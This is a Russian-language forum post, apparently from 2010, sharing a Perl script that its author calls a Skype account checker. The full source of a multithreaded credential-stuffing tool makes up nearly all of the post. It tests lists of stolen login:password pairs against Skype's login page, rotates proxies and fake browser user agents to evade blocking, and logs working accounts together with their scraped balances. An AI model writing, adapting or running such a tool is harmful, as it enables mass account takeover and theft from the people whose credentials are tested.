[PERL] Skype Cheker by Gaus
Написал недавно, мб кому-то пригодится;) [ + ] Многопоточность
[ + ] Поддержка прокси
[ + ] Определение баланса валидных аккаунтов
Код:
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';
###################################
my $threads = 1; # Кол-во потоков
my $accs_file = 'data/accs.txt'; # Файл со списком аккаунтов
my $accs_delm = ':'; # Разделитель списка аккаунтов
my $proxy_file = 'data/proxy.txt';# Файл со списком proxy
my $proxy_mode = 'OFF'; # Режим использования proxy(ON/OFF)
my $delay = 0; # Задержка
###################################
$| = 1;
system 'title Skype Checker (c) Gaus 2010 icq 648249';
system 'color A';
my @accs : shared = lf($accs_file);
my @proxy : shared = lf($proxy_file);
my $valid : shared = 0;
my $invalid : shared = 0;
my $err : shared = 0;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
while(@accs)
{
my $ua = LWP::UserAgent->new(timeout => 35,
cookie_jar => new HTTP::Cookies,
agent => agent());
my ($login, $pass) = split $accs_delm => shift @accs;
GET:
if($proxy_mode eq 'ON')
{
until(proxy($ua)){}
}
my $answ = $ua->post('https://secure.skype.com/account/intl/ru/login',
['invite_token' => '',
'timezone_field' => '+02|00',
'username' => $login,
'password' => $pass])->as_string;
if($answ =~ m,302 Found,i)
{
{
lock $valid;
++$valid
}
my $req = $ua->get('https://secure.skype.com/account/intl/ru/')->content;
if($req =~ m,;</span>(.+?)</span>,i)
{
$pass .= ';'.$1
}
wf('valid_accs.txt', "$login:$pass\n");
cout("[ + ] Valid account[$login:$pass] \n")
}
elsif($answ =~ m,Ошибка идентификации,i)
{
{
lock $invalid;
++$invalid
}
wf('invalid_accs.txt', "$login:$pass\n");
cout("[ - ] Invalid account[$login:$pass] \n")
}
elsif($answ =~ m,405 Method|500 read|500 Can't|CoDeeN,i)
{
cout("[ ~ ] Error proxy, trying again... \n");
goto GET
}
else
{
{
lock $err;
++$err
}
wf('error_accs.txt', "$login:$pass\n");
cout("[ - ] Error account[$login:$pass] \n")
}
sleep $delay
}
}
sub proxy
{
my $ua = shift;
my ($ip, $port) = split ':' => $proxy[rand scalar @proxy];
$ua->proxy('http' => 'http://'.$ip.':'.$port);
my $test = $ua->get('http://zerg.helllabs.net/cgi-bin/textenv.pl')->content;
if($test =~ m,REMOTE_ADDR=$ip,i)
{
cout("[ + ] Try proxy[$ip:$port] \n");
return 1
}
else
{
cout("[ - ] Bad proxy[$ip:$port] \n");
return 0
}
}
sub agent
{
my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];
return $agents[rand scalar @agents]
}
sub cout
{
print $_[0];
print "[Valid: $valid | Invalid: $invalid | Error: $err]\r"
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat
}
|